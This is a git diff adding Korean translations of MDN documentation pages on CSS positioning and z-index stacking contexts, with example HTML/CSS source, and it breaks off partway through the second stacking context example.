+<p><strong>CSS Positioning</strong>은 요소를 페이지에 배치하는 방법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("clear")}}</li>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("left")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li>{{cssxref("top")}}</li>
+ <li>{{cssxref("z-index")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index">CSS z-index 이해하기</a></dt>
+ <dd>쌓임 문맥의 개념을 소개하고 몇 가지 예와 함께 z축 순서의 동작을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Positioning') }}</td>
+   <td>{{ Spec2('CSS3 Positioning') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visuren.html') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html
new file mode 100644
index 0000000000..9621937b5f
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html
@@ -0,0 +1,157 @@
+---
+title: z-index 적용
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="cssxrefz-index_적용">{{ cssxref("z-index") }} 적용</h3>
+<p>처음 예제에서(<a href="/ko/CSS/Understanding_z-index/Stacking_without_z-index" title="ko/CSS/Understanding_z-index/Stacking_without_z-index">z-index가 없는 경우의 쌓임</a>) 엘리먼트들이 기본적으로 어떻게 쌓이는지 설명했다. 만약 다른 쌓임 순서를 적용하고 싶다면 먼저 엘리먼트에 {{ cssxref("position") }} 속성을 지정하고 {{ cssxref("z-index") }} 속성을 지정해야한다. </p>
+<p>z-index 속성은 하나의 정수 값을 가질 수 있다(양수, 음수 모두 가능하다). 이 값은 해당 엘리먼트의 z축 상의 위치를 나타낸다. 만약 당신이 z축에 익숙하지 않다면 여러 레이어가 쌓여있는 페이지를 상상해보라. 각 레이어는 번호가 붙어있고 높은 번호를 가진 레이어는 낮은 번호를 가진 레이어 위에 렌더링된다. </p>
+<p><strong>다시한번 경고!</strong> z-index는 <a href="/en/CSS/position" title="position">position</a> 속성이 설정된 엘리먼트에 대해서만 의미를 갖는다.</p>
+<ul>
+  <li><em>가장 아래(사용자로부터 가장 멀다)</em></li>
+  <li>...</li>
+  <li>Layer -3</li>
+  <li>Layer -2</li>
+  <li>Layer -1</li>
+  <li>Layer 0 <em>기본 렌더링 레이어</em></li>
+  <li>Layer 1</li>
+  <li>Layer 2</li>
+  <li>Layer 3</li>
+  <li>...</li>
+  <li><em>가장 위(사용자로부터 가장 가깝다)</em></li>
+</ul>
+<div class="note">
+  <p><strong>노트:</strong></p>
+  <ul>
+    <li>z-index 속성을 지정하지 않으면 엘리먼트는 기본 렌더링 레이어(레이어 0)에 렌더링된다. </li>
+    <li>만약 몇개의 엘리먼트들이 같은 z-index 속성 값을 가지면 (엘리먼트들이 같은 레이어에 위치한다) <a href="/ko/CSS/Understanding_z-index/Stacking_without_z-index" title="Stacking without z-index">z-index가 없는 경우의 쌓임</a> 쌓임 규칙을 적용한다.</li>
+  </ul>
+</div>
+<p>다음 예제에서는 레이어들의 쌓임 순서가 z-index를 이용하여 바뀌어있다. DIV#5는 position 속성이 지정되지 않았으므로 z-index 속성 값은 쌓임 순서를 결정하는데에 아무 영향을 미치지 않는다. </p>
+<p><img alt="Example of stacking rules modified using z-index" class="internal" src="/@api/deki/files/912/=Understanding_zindex_03.png"></p>
+<h3 id="Example_source_code"><strong>Example source code</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div {
+   opacity: 0.7;
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   z-index: 8;
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   z-index: 3;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   z-index: 2;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   z-index: 5;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   z-index: 1;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;&lt;br /&gt;
+
+&lt;div id="absdiv1"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+   &lt;br /&gt;z-index: 5;
+&lt;/div&gt;
+
+&lt;div id="reldiv1"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+   &lt;br /&gt;position: relative;
+   &lt;br /&gt;z-index: 3;
+&lt;/div&gt;
+
+&lt;div id="reldiv2"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+   &lt;br /&gt;position: relative;
+   &lt;br /&gt;z-index: 2;
+&lt;/div&gt;
+
+&lt;div id="absdiv2"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+   &lt;br /&gt;z-index: 1;
+&lt;/div&gt;
+
+&lt;div id="normdiv"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+   &lt;br /&gt;no positioning
+   &lt;br /&gt;z-index: 8;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+  <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ul>
+<div class="originaldocinfo">
+  <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+  <ul>
+    <li>Author(s): Paolo Lombardi</li>
+    <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+    <li>Last Updated Date: July 9th, 2005</li>
+  </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/index.html
new file mode 100644
index 0000000000..2887faf021
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/index.html
@@ -0,0 +1,32 @@
+---
+title: CSS z-index 이해하기
+slug: Web/CSS/CSS_Positioning/Understanding_z_index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index
+---
+<p>우리들은 HTML 페이지를 2차원 평면으로 생각한다. 왜냐하면 여러 텍스트, 이미지와 다른 엘리먼트들이 서로 겹치지 않고 배열되기 때문이다. 하나의 렌더링 흐름만이 존재하며 모든 엘리먼트들은 다른 엘리먼트들이 어떤 공간을 차지하고 있는지 알고 있다. </p>
+<blockquote>
+  <p style=""><em>In CSS 2.1, each box has a position in three dimensions. In addition to their horizontal and vertical positions, boxes lie along a "z-axis" and are formatted one on top of the other. Z-axis positions are particularly relevant when boxes overlap visually.</em></p>
+</blockquote>
+<p>(from <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p>
+<p>위에 소개된 CSS 스타일 규칙을 보면 기본 렌더링 레이어(layer 0) 이외의 추가적인 레이어를 생성하고 여기에 박스를 위치시킬수 있다는 것을 알 수 있다. 레이어의 Z축 위치는 렌더링 될 때 쌓임 순서를 결정하는 하나의 정수로 결정된다. 큰 정수는 화면을 보고있는 사용자에게 가까운 것을 의미한다. Z축 위치는 {{ cssxref("z-index") }} 속성 값을 설정함으로써 바꿀 수 있다.</p>
+<p>엘리먼트의 Z축 위치를 결정하는 것은 굉장히 간단해 보인다. {{ cssxref("z-index") }} 라는 하나의 프로퍼티를 사용하고 이 프로퍼티는 하나의 정수 값을 가진다.  그러나 {{ cssxref("z-index") }} 속성이 복잡한 HTML 계층적 엘리먼트들에 지정되었을 때에는 동작을 이해하기 힘들고 심지어 예측하지 못할 때도 있다. 이것은 엘리먼트들의 쌓임 순서를 결정하는 규칙(이하 쌓임 규칙)이 복잡하기 때문이다. 오로지 이 규칙만을 설명하기 위한 CSS 명세 섹션이 있을 정도다. (<a class="external" href="http://www.w3.org/TR/CSS21/zindex.html">CSS-2.1 Appendix E</a>)</p>
+<p>이 문서에서는 몇가지 간단한 예를 들어 쌓임 규칙에 대해 설명하려고 한다. </p>
+<ol>
+  <li><a href="/ko/CSS/Understanding_z-index/Stacking_without_z-index" title="ko/CSS/Understanding_z-index/Stacking_without_z-index">z-index가 없는 경우의 쌓임</a> : 기본 쌓임 규칙</li>
+  <li><a href="/ko/CSS/Understanding_z-index/Stacking_and_float" title="ko/CSS/Understanding_z-index/Stacking_and_float">floating 엘리먼트의 쌓임</a> : floating 엘리먼트들은 어떻게 다루어지는가</li>
+  <li><a href="/ko/CSS/Understanding_z-index/Adding_z-index" title="ko/CSS/Understanding_z-index/Adding_z-index">z-index 적용</a> : 기본 쌓임 순서를 변경하기 위해 z-index 사용하기</li>
+  <li><a href="/ko/CSS/Understanding_z-index/The_stacking_context" title="ko/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락(stacking context) 이야기</a> : 쌓임 맥락(stacking context) 이야기 </li>
+  <li><a href="/ko/CSS/Understanding_z-index/Stacking_context_example_1" title="ko/CSS/Understanding_z-index/Stacking_context_example_1">쌓임 맥락 예제1</a> : 2레벨 HTML 계층구조, 마지막 레벨에서 z-index가 지정된 경우</li>
+  <li><a href="/ko/CSS/Understanding_z-index/Stacking_context_example_2" title="ko/CSS/Understanding_z-index/Stacking_context_example_2">쌓임 맥락 예제2</a> : 2레벨 HTML 계층구조, 모든 레벨에서 z-index가 지정된 경우</li>
+  <li><a href="/ko/CSS/Understanding_z-index/Stacking_context_example_3" title="ko/CSS/Understanding_z-index/Stacking_context_example_3">쌓임 맥락 예제3</a> : 3레벨 HTML 계층구조, 두번째 레벨에서 z-index가 지정된 경우</li>
+</ol>
+<p><small><em>저자의 말: 검토를 해준 Wladimir Palant씨와 Rod Whiteley씨에게 감사의 말을 전합니다.</em></small></p>
+<div class="originaldocinfo">
+  <h3 id="Original_Document_Information" name="Original_Document_Information">원본 문서 정보</h3>
+  <ul>
+    <li>저자(s): Paolo Lombardi</li>
+    <li>이 문서는 <a class="external" href="http://www.yappy.it">YappY</a>에 이탈리어로 게재된 문서의 영어 번역판입니다. <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a> 아래에서 공유할 수 있습니다.</li>
+    <li>마지막 수정일: July 9th, 2005</li>
+  </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index" } ) }} </p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html
new file mode 100644
index 0000000000..4430c5cdf3
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html
@@ -0,0 +1,146 @@
+---
+title: floating 엘리먼트의 쌓임
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="floating_엘리먼트의_쌓임">floating 엘리먼트의 쌓임</h3>
+<p>floating 엘리먼트들의 쌓임 순서는 약간 다르다. floating 엘리먼트들은 position이 지정된 블록과 지정되지 않은 블록 사이에 쌓인다. </p>
+<ol>
+  <li>뿌리 엘리먼트의 배경과 테두리</li>
+  <li>자식 엘리먼트들은 HTML에서 등장하는 순서대로</li>
+  <li>floating 엘리먼트</li>
+  <li>position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+</ol>
+<p>사실 다음 예제에서 보는 것처럼 position이 지정되지 않은 엘리먼트(DIV #4)의 배경과 테두리는 floating 엘리먼트들에 의해 영향을 받지 않는다. 반면 컨텐츠는 영향을 받는다. 이것은 CSS 표준 float 명세에 따른 것이다. </p>
+<p>위의 규칙 리스트를 수정하여 이 명세를 포함시켜보자. </p>
+<ol>
+  <li>뿌리 엘리먼트의 배경과 테두리</li>
+  <li>자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+  <li>floating 엘리먼트</li>
+  <li>inline 자식 엘리먼트는 보통의 흐름대로</li>
+  <li>position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+</ol>
+<div class="note">
+  <strong>노트:</strong> 아래 예제에서 position이 지정되지 않은 엘리먼트 이외에는 모든 엘리먼트가 쌓임 순서를 보여주기 위해 반투명하게 설정되었다. 만약 position이 지정되지 않은 엘리먼트 (DIV #4)의 투명도를 낮추면 이상한 일이 일어난다. 배경과 테두리가 (원래에는 floating 엘리먼트 아래에 있어야 함에도 불구하고) floating 엘리먼트와 position이 지정된 엘리먼트 사이에 보이는 것이다. 이것이 명세의 일부인지 아니면 버그인지 확실하지 않다. 투명도를 적용하는것이 새로운 쌓임 맥락(stacking context)를 만드는 것일까?</div>
+<p><img alt="Example of stacking rules with floating boxes" class="internal" src="/@api/deki/files/911/=Understanding_zindex_02.png"></p>
+<h3 id="Example_source_code"><strong>Example source code</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div {
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#absdiv1 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 10px;
+   right: 140px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#normdiv {
+   /*opacity: 0.7;*/
+   height: 100px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 10px 0px 10px;
+   text-align: left;
+}
+
+#flodiv1 {
+   opacity: 0.7;
+   margin: 0px 10px 0px 20px;
+   float: left;
+   width: 150px;
+   height: 200px;
+   border: 1px dashed #009900;
+   background-color: #ccffcc;
+   text-align: center;
+}
+
+#flodiv2 {
+   opacity: 0.7;
+   margin: 0px 20px 0px 10px;
+   float: right;
+   width: 150px;
+   height: 200px;
+   border: 1px dashed #009900;
+   background-color: #ccffcc;
+   text-align: center;
+}
+
+#absdiv2 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 100px;
+   top: 130px;
+   left: 100px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;&lt;br /&gt;
+
+&lt;div id="absdiv1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+&lt;br /&gt;position: absolute;
+&lt;/div&gt;
+
+&lt;div id="flodiv1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+&lt;br /&gt;float: left;
+&lt;/div&gt;
+
+&lt;div id="flodiv2"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+&lt;br /&gt;float: right;
+&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="normdiv"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+&lt;br /&gt;no positioning
+&lt;/div&gt;
+
+&lt;div id="absdiv2"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+&lt;br /&gt;position: absolute;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+  <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+  <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ul>
+<div class="originaldocinfo">
+  <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+  <ul>
+    <li>Author(s): Paolo Lombardi</li>
+    <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+    <li>Last Updated Date: July 9th, 2005</li>
+  </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_et_float" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html
new file mode 100644
index 0000000000..9444e2bb5e
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html
@@ -0,0 +1,120 @@
+---
+title: 쌓임 맥락 예제1
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="쌓임_맥락_예제1">쌓임 맥락 예제1</h3>
+<p>기본 예제부터 시작하자. 쌓임 맥락의 뿌리에는 두개의 DIV #1과 DIV #3가 있다. 두 DIV는 모두 position 속성 값이 relative로 지정되었지만 z-index 속성 값은 지정되지 않았다. DIV #1 안에는 position 속성 값이 absolute로 지정된 DIV #2가 있고 DIV #3 안에도 position 속성 값이 absolute가 지정된 DIV #4가 있다. DIV #2와ㅏ DIV #4 모두 z-index 속성 값은 지정되지 않았다. </p>
+<p>유일한 쌓임 맥락은 뿌리 엘리먼트다. z-index가 없는 엘리먼트들은 HTML 문서에서 등장 순서대로 쌓인다. </p>
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/914/=Understanding_zindex_05a.png"></p>
+<p>DIV #2의 z-index 속성 값을 0또는 auto가 아닌 양의 정수로 지정하면 다른 DIV들 보다 위에 렌더링된다. </p>
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/915/=Understanding_zindex_05b.png"></p>
+<p>DIV #4의 z-index 속성 값을 DIV #2의 z-index 속성 값보다 큰 값으로 지정하면 DIV #4는 DIV #2보다 위에 렌더링된다. </p>
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/916/=Understanding_zindex_05c.png"></p>
+<p>마지막 예제에서 DIV #2와 DIV #4는 형제가 아니다. 왜냐하면 둘의 부모가 다르기 때문이다. 그럼에도 불구하고 DIV #2와 DIV #4의 쌓임 순서를 z-index 속성 값을 지정함으로써 바꿀 수 있었다. 왜냐하면 DIV #1과 DIV #3은 z-index 속성 값이 지정되지 않았고 따라서 쌓임 맥락을 만들지 않았기 때문이다. 따라서 DIV #2와 DIV #4는 둘 다 뿌리 엘리먼트의 쌓임 맥락에 속해있고, z-index 속성 값을 변경하여 쌓임 순서를 바꿀 수 있다. </p>
+<p>쌓임 맥락의 용어로 설명하자면 DIV #1과 DIV #3은 뿌리 엘리먼트에 <em>동화되었다.</em> 이 예제의 DIV들은 다음과 같은 쌓임 맥락 계층 구조를 이룬다. </p>
+<ul>
+  <li>뿌리 쌓임 맥락
+    <ul>
+      <li>DIV #2 (z-index 1)</li>
+      <li>DIV #4 (z-index 2)</li>
+    </ul>
+  </li>
+</ul>
+<div class="note">
+  <strong>Note:</strong> DIV #1과 DIV #3은 투명하지 않다. 투명도를 1보다 적은 값으로 지정하게 되면 내부적으로 쌓임 맥락을 만든다는걸 기억하자. 이건 마치 z-index 값을 설정한 것과 비슷하다. 이 예제는 부모 엘리먼트들이 쌓임 맥락을 형성하지 않을 때 어떤 일이 일어나는지 보여준다. </div>
+<h3 id="예제_소스_코드"><strong>예제 소스 코드</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   z-index: 1;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   z-index: 2;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div1"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+&lt;br /&gt;position: relative;
+   &lt;div id="div2"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+   &lt;br /&gt;z-index: 1;
+   &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="div3"&gt;
+&lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+&lt;br /&gt;position: relative;
+   &lt;div id="div4"&gt;
+   &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+   &lt;br /&gt;position: absolute;
+   &lt;br /&gt;z-index: 2;
+   &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+  <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+  <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+  <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level<span id="cke_bm_89E" style="display: none;"> </span></li>
+</ul>
+<div class="originaldocinfo">
+  <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+  <ul>
+    <li>Author(s): Paolo Lombardi</li>
+    <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+    <li>Last Updated Date: July 9th, 2005</li>
+  </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_1" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html
new file mode 100644
index 0000000000..cf794c3428
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html
@@ -0,0 +1,123 @@
+---
+title: 쌓임 맥락 예제2
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="쌓임_맥락_예제2">쌓임 맥락 예제2</h3>
+<p>굉장히 간단하지만 <em>쌓임 맥락</em>을 이해하는데 도움이 되는 예제를 하나 소개하려 한다. 이전 예제에서 본 4개의 DIV가 있다. 이번에는 두 레벨의 DIV 모두 z-index 속성 값을 지정했다. </p>
+<p><img alt="Stacking context example 2" class="internal" src="/@api/deki/files/917/=Understanding_zindex_06.png"></p>
+<p>z-index 속성 값이 2인 DIV #2는 z-index 속성 값이 1인 DIV #3 위에 있다. 왜냐하면 DIV #2와 DIV #3은 같은 쌓임 맥락(루트 엘리먼트)에 속하고 DIV #2의 z-index 값이 더 크기 때문이다. </p>
+<p>이상한 점은 z-index 속성 값이 2인 DIV #2가 z-index 속성 값이 10인 DIV #4보다 위에 있다는 점이다. 이것은 이 두 DIV가 같은 쌓임 맥락에 속해있지 않기 때문이다. DIV #4는 DIV #3이 만든 쌓임 맥락에 속해있고 DIV #3과 DIV #3의 모든 자식 엘리먼트는 DIV #2보다 아래에 있다. </p>
+<p>이 상황을 더 잘 이해하기 위해서 쌓임 맥락 계층을 그려보자. </p>
+<ul>
+  <li>루트 엘리먼트 쌓임 맥락
+    <ul>
+      <li>DIV #2 (z-index 2)</li>
+      <li>DIV #3 (z-index 1)
+        <ul>
+          <li>DIV #4 (z-index 10)</li>
+        </ul>
+      </li>
+    </ul>
+  </li>
+</ul>
+<div class="note">
